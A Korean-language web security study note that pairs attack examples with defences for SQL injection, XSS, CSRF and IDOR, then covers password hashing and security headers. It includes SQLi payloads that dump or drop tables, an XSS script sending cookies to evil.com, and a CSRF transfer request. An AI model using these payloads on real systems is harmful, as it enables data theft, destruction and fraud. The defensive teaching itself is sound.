Tan Kim

attacks

주요 보안 공격 & 대응

SQL Injection (SQLi)

악의적인 SQL을 입력에 삽입해 DB를 조작하는 공격.

-- 취약한 쿼리
SELECT * FROM users WHERE name = '${input}'
 
-- 공격 입력
' OR '1'='1         → 모든 행 반환
'; DROP TABLE users --  → 테이블 삭제
' UNION SELECT id, password FROM admin --

대응

// BAD — 문자열 연결
db.query(`SELECT * FROM users WHERE name = '${name}'`)
 
// GOOD — Prepared Statement (파라미터 바인딩)
db.query('SELECT * FROM users WHERE name = ?', [name])
 
// ORM 사용 (자동으로 처리)
userRepo.findOneBy({ name })

XSS (Cross-Site Scripting)

악성 스크립트를 피해자 브라우저에서 실행시키는 공격.

종류 설명
Stored XSS DB에 스크립트 저장 후 다른 사용자에게 전달
Reflected XSS URL 파라미터에 스크립트 삽입
DOM XSS JS가 DOM을 직접 조작할 때 발생
<!-- 공격 예시 -->
<script>fetch('https://evil.com?c='+document.cookie)</script>

대응

// 출력 시 HTML 이스케이프
function escapeHtml(str: string) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
}
 
// CSP 헤더 설정
res.setHeader('Content-Security-Policy', "default-src 'self'")
 
// HttpOnly Cookie — JS에서 접근 불가
res.cookie('token', value, { httpOnly: true, secure: true, sameSite: 'strict' })

CSRF (Cross-Site Request Forgery)

인증된 사용자 권한으로 의도치 않은 요청을 실행시키는 공격.

<!-- 악성 사이트에서 피해자가 로그인된 은행으로 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000">

대응

// CSRF 토큰 — 서버가 발급한 토큰을 요청마다 포함
// SameSite Cookie
res.cookie('session', value, { sameSite: 'strict' })
 
// Origin / Referer 헤더 검증
if (req.headers.origin !== 'https://myapp.com') {
  return res.status(403).send('Forbidden')
}

IDOR (Insecure Direct Object Reference)

권한 확인 없이 리소스 ID를 직접 참조해 다른 사용자 데이터에 접근.

GET /api/orders/12345  → 타인의 주문 조회

대응

// BAD
const order = await orderRepo.findById(req.params.id)
 
// GOOD — 소유자 확인
const order = await orderRepo.findOne({
  where: { id: req.params.id, userId: req.user.id }
})
if (!order) throw new ForbiddenException()

패스워드 보안

import bcrypt from 'bcrypt'
 
// 해싱 (저장 시)
const hash = await bcrypt.hash(password, 12)  // cost factor 12
 
// 검증 (로그인 시)
const match = await bcrypt.compare(inputPassword, hash)
잘못된 방법 올바른 방법
평문 저장 bcrypt / argon2 해싱
MD5 / SHA1 bcrypt (salt 자동 포함)
빠른 해시 함수 느린 해시 (cost factor 조정)

보안 헤더

// Helmet.js (Express)
import helmet from 'helmet'
app.use(helmet())
 
// 주요 헤더
'X-Content-Type-Options': 'nosniff'          // MIME 스니핑 방지
'X-Frame-Options': 'DENY'                    // Clickjacking 방지
'Strict-Transport-Security': 'max-age=31536000' // HTTPS 강제
'Content-Security-Policy': "default-src 'self'" // XSS 완화
'X-XSS-Protection': '1; mode=block'

메모